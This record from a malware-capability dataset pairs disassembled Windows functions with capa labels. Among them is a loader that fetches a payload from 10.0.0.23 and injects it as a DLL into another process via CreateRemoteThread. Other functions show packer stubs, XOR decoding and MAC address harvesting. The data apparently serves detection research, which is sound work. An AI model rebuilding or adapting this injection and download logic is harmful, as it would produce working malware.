joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401400
Capabilities:
Create thread
Inject dll
Inject thread
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x417040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push edi
push eax
mov dword [ebp - 0xc], 0
call fcn.00401560
mov edi, eax
test edi, edi
je 0x40153d
cmp dword [esi + 0x14], 0xf
mov eax, esi
mov dword [ebp - 8], 0
jbe 0x401441
mov eax, dword [esi]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40153d
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40153d
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00404bb0
add esp, 4
push dword [ebp + 8]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x40153d
push str.LoadLibraryA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
test eax, eax
je 0x401535
push 4
push 0x1000
push dword [esi + 0x10]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x401535
cmp dword [esi + 0x14], 0xf
mov eax, dword [esi + 0x10]
jbe 0x4014ea
mov esi, dword [esi]
push 0
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401526
push 0
push 0
push ebx
push dword [ebp - 8]
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x401526
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401963
mov esp, ebp
pop ebp
ret 8
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call eax
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401963
mov esp, ebp
pop ebp
ret 8
Function at 0x401560
Capabilities:
Connect socket
Convert ip address from string
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x1b8
mov eax, dword [0x417040]
xor eax, esp
mov dword [esp + 0x1b4], eax
mov eax, dword [ebp + 8]
push esi
push edi
mov dword [esp + 8], eax
lea eax, [esp + 0x28]
push eax
push 0x202
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40167e
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x40167e
xorps xmm0, xmm0
mov eax, 2
movaps xmmword [esp + 0x10], xmm0
push 0x1a0a
mov word [esp + 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x14]
push eax
push str.10.0.0.23
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x10
lea eax, [esp + 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40167e
push 0
push 6
push str.123456
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40167e
push 0
push 4
lea eax, [esp + 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40167e
push dword [esp + 0xc]
call fcn.00404bcb
mov edi, eax
add esp, 4
test edi, edi
je 0x40167e
push 0
push dword [esp + 0x10]
push edi
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40167e
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0xc]
mov dword [ecx], eax
mov eax, edi
pop edi
pop esi
mov ecx, dword [esp + 0x1b4]
xor ecx, esp
call fcn.00401963
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [esp + 0x1bc]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00401963
mov esp, ebp
pop ebp
ret 4
Function at 0x4016a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40e75e
mov eax, dword fs:[0]
push eax
sub esp, 0x40
push esi
push edi
mov eax, dword [0x417040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], 0
movaps xmm0, xmmword [0x414af0]
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0xb40494c
mov dword [ebp - 0x38], 0x1f515d51
mov dword [ebp - 0x34], 0x57464056
mov word [ebp - 0x30], 0x5140
mov dword [ebp - 4], 0
lea esi, [ebp - 0x4c]
xorps xmm0, xmm0
mov dword [ebp - 0x10], 1
xor edx, edx
mov edi, 0xf
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], edi
mov byte [ebp - 0x2c], dl
nop dword [eax]
mov cl, byte [esi]
xor cl, 0x25
mov byte [ebp - 0x14], cl
cmp edx, edi
jae 0x401746
lea eax, [edx + 1]
cmp edi, 0xf
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x2c]
cmova eax, dword [ebp - 0x2c]
mov byte [eax + edx], cl
mov byte [eax + edx + 1], 0
jmp 0x401755
push dword [ebp - 0x14]
push dword [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x2c]
call fcn.004012c0
inc esi
lea eax, [ebp - 0x2e]
cmp esi, eax
je 0x401765
mov edi, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
jmp 0x401720
mov ecx, str.jusched.exe
call fcn.00401180
lea ecx, [ebp - 0x2c]
push ecx
push eax
call fcn.00401400
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x4017b0
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40179f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4017b2
push ecx
push edx
call fcn.004019a6
add esp, 8
nop dword [eax]
jmp 0x4017b0
call fcn.00404b5f
int3

Function at 0x4022c5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402304
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402304
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402304
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402304
cmp dword [ecx + 0x74], 0xe
jbe 0x402304
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x406c80
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4116f0
push 0x4116e8
push str.FlsAlloc
push 0x1f
call fcn.00406b3f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x406cb4
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f15c]
call esi
jmp 0x406cba
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x406cfe
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411700
push 0x4116f8
push str.FlsGetValue
push 0x21
call fcn.00406b3f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x406d35
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f15c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x406d3d
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411708
push 0x411700
push str.FlsSetValue
push 0x22
call fcn.00406b3f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x406d77
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40f15c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x408d58
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x408df5
push ebx
push esi
call fcn.00408d21
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00408cb5
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x408da2
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408df4
push edi
push eax
call fcn.00406865
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x408dc2
call fcn.0040682b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408df3
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00408cb5
add esp, 0x20
test eax, eax
jne 0x408de1
push edi
call fcn.0040682b
jmp 0x408de9
push ebx
call fcn.0040682b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x40e4f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40e51d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40e51d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130
Function at 0x900f30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x316000]
push edi
jmp 0x900f4a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x900f51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x900f40
mov eax, 1
add ebx, ebx
jne 0x900f63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x900f74
jne 0x900f93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x900f93
dec eax
add ebx, ebx
jne 0x900f80
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x900f58
add ebx, ebx
jne 0x900f8f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x900fe5
xor ecx, ecx
sub eax, 3
jb 0x900fab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x90101a
sar eax, 1
mov ebp, eax
jmp 0x900fb6
add ebx, ebx
jne 0x900fb6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x900f84
inc ecx
add ebx, ebx
jne 0x900fc4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x900f84
add ebx, ebx
jne 0x900fd1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x900fc6
jne 0x900fe2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x900fc6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x901004
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x900ff6
jmp 0x900f46
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x901004
add edi, ecx
jmp 0x900f46
pop esi
mov edi, esi
mov ecx, 0xdba8
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x901022
cmp byte [edi], 0x55
jne 0x901022
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x901027
lea edi, [esi + 0x4f0000]
mov eax, dword [edi]
or eax, eax
je 0x901096
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x51ac88]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x51acb0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x901054
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x51acb4]
or eax, eax
je 0x901090
mov dword [ebx], eax
add ebx, 4
jmp 0x901071
call dword [esi + 0x51acc4]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x9010c7
cmp al, 0xef
ja 0x9010ba
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x90109c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x9010a9
mov ebp, dword [esi + 0x51acb8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x257]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x9010fb
sub esp, 0xffffff80
jmp 0x58ef88
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x10001000
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0x30d40
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10001030
jmp 0x1000110f
cmp dword [ebp + 0xc], 2
jne 0x10001046
mov dword [ebp - 0xc], 0x1066
mov dword [ebp - 0x10], 0x10021f7c
jmp 0x1000108d
cmp dword [ebp + 0xc], 3
jne 0x1000105c
mov dword [ebp - 0xc], 0xdf4
mov dword [ebp - 0x10], 0x10021188
jmp 0x1000108d
cmp dword [ebp + 0xc], 4
jne 0x10001072
mov dword [ebp - 0xc], 0x144f
mov dword [ebp - 0x10], 0x1001fd38
jmp 0x1000108d
cmp dword [ebp + 0xc], 0xc
jne 0x10001088
mov dword [ebp - 0xc], 0xd28
mov dword [ebp - 0x10], 0x1001f010
jmp 0x1000108d
jmp 0x1000110f
mov dword [ebp - 4], 0x30d40
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0x14]
push eax
call fcn.10017390
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100010b7
jmp 0x1000110f
push 0x10022fe4
mov ecx, dword [ebp + 8]
push ecx
call fcn.10001140
add esp, 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x100010d3
jmp 0x1000110f
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
push 1
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
cmp eax, dword [ebp - 4]
je 0x100010f1
jmp 0x1000110f
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
xor eax, eax
jmp 0x10001137
cmp dword [ebp - 0x14], 0
je 0x10001122
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
cmp dword [ebp - 0x18], 0
je 0x10001134
mov edx, dword [ebp - 0x18]
push edx
call sub.MSVCRT.dll__close
add esp, 4
or eax, 0xffffffff
mov esp, ebp
pop ebp
ret
Function at 0x10019f80
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, dword [esp + 4]
mov ecx, 4
mov edx, eax
and edx, 0xff
shr eax, 8
mov edx, dword [edx*4 + 0x1001bf78]
xor eax, edx
dec ecx
jne 0x10019f89
ret
Function at 0x402b50
Capabilities:
Get mac address on windows

Disassembly:
push 0xffffffffffffffff
push 0x443249
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x450c10]
xor eax, esp
mov dword [esp + 0x38], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x450c10]
xor eax, esp
push eax
lea eax, [esp + 0x50]
mov dword fs:[0], eax
mov esi, dword [esp + 0x60]
xor ebx, ebx
mov dword [esp + 0x1c], ebx
push ebx
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
push 0x4444bd
mov ecx, esi
mov dword [esp + 0x60], ebx
mov dword [esp + 0x28], esi
mov byte [esi + 4], bl
call fcn.00402a00
push 0x288
mov dword [esp + 0x5c], ebx
mov dword [esp + 0x20], 1
call fcn.0042de46
mov edi, eax
add esp, 4
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x1c], 0x288
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x402c05
cmp edi, ebx
je 0x402bf2
push edi
call fcn.0042de3b
add esp, 4
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0042de46
add esp, 4
mov dword [esp + 0x18], eax
mov edi, eax
push 0x27
lea edx, [esp + 0x29]
push ebx
push edx
mov byte [esp + 0x30], bl
call fcn.0042cab0
add esp, 0xc
lea eax, [esp + 0x14]
push eax
push edi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, ebx
jne 0x402ce3
cmp edi, ebx
je 0x402cf0
jmp 0x402c40
movzx ecx, byte [edi + 0x199]
movzx edx, byte [edi + 0x198]
movzx eax, byte [edi + 0x197]
push ecx
movzx ecx, byte [edi + 0x196]
push edx
movzx edx, byte [edi + 0x195]
push eax
movzx eax, byte [edi + 0x194]
push ecx
push edx
push eax
lea ecx, [esp + 0x3c]
push str._02x_02x_02x_02x_02x_02x
push ecx
call fcn.00402630
lea eax, [esp + 0x44]
add esp, 0x20
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402c90
sub eax, edx
push eax
lea edx, [esp + 0x28]
push edx
mov ecx, esi
call fcn.00402a00
cmp dword [esi + 0x18], 0x10
mov ebp, dword [esi + 0x14]
jb 0x402cb4
mov eax, dword [esi + 4]
jmp 0x402cb7
lea eax, [esi + 4]
push ebx
push 0x4444bd
push eax
call fcn.004025b0
add esp, 0xc
cmp eax, ebx
jne 0x402cdf
xor eax, eax
cmp ebp, ebx
setne al
cmp eax, ebx
jne 0x402cdf
mov edi, dword [edi]
cmp edi, ebx
jne 0x402c40
mov edi, dword [esp + 0x18]
cmp edi, ebx
je 0x402cf0
push edi
call fcn.0042de3b
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x50]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x38]
xor ecx, esp
call fcn.0042ca93
add esp, 0x48
ret
Function at 0x403eb0
Capabilities:
Create directory
Write file on windows

Disassembly:
sub esp, 0x13c
mov eax, dword [0x450c10]
xor eax, esp
mov dword [esp + 0x138], eax
push edi
push str.initkey.dat
push str.C:OIDD_s
lea eax, [esp + 0x40]
push 0x104
push eax
mov edi, ecx
call fcn.0042e820
lea ecx, [esp + 0x18]
push ecx
push str.C:OIDD
call fcn.0042e3cf
add esp, 0x18
test eax, eax
je 0x403f20
push 0
push str.C:OIDD
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x403f20
or eax, 0xffffffff
pop edi
mov ecx, dword [esp + 0x138]
xor ecx, esp
call fcn.0042ca93
add esp, 0x13c
ret
push esi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea edx, [esp + 0x54]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x403f79
push 0
lea eax, [esp + 0xc]
push eax
push 0x11
add edi, 0xb
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop edi
mov ecx, dword [esp + 0x138]
xor ecx, esp
call fcn.0042ca93
add esp, 0x13c
ret
mov ecx, dword [esp + 0x140]
pop esi
pop edi
xor ecx, esp
or eax, 0xffffffff
call fcn.0042ca93
add esp, 0x13c
ret

Function at 0x403fa0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x13c
mov eax, dword [0x450c10]
xor eax, esp
mov dword [esp + 0x138], eax
push edi
push str.initkey.dat
push str.C:OIDD_s
lea eax, [esp + 0x40]
push 0x104
push eax
mov edi, ecx
call fcn.0042e820
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x4c]
push edx
call fcn.0042e3cf
add esp, 0x18
test eax, eax
je 0x403fff
or eax, 0xffffffff
pop edi
mov ecx, dword [esp + 0x138]
xor ecx, esp
call fcn.0042ca93
add esp, 0x13c
ret
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea eax, [esp + 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x404058
push 0
lea ecx, [esp + 0xc]
push ecx
push 0x11
add edi, 0xb
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop edi
mov ecx, dword [esp + 0x138]
xor ecx, esp
call fcn.0042ca93
add esp, 0x13c
ret
mov ecx, dword [esp + 0x140]
pop esi
pop edi
xor ecx, esp
or eax, 0xffffffff
call fcn.0042ca93
add esp, 0x13c
ret

Function at 0x404b70
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
xor eax, eax
test edx, edx
jbe 0x404ba6
mov ecx, dword [esp + 4]
push esi
push edi
movsx edi, byte [ecx]
mov esi, eax
shr esi, 8
xor esi, edi
shl eax, 8
and esi, 0xff
xor ax, word [esi*2 + 0x444600]
inc ecx
sub edx, 1
movzx eax, ax
jne 0x404b80
pop edi
pop esi
ret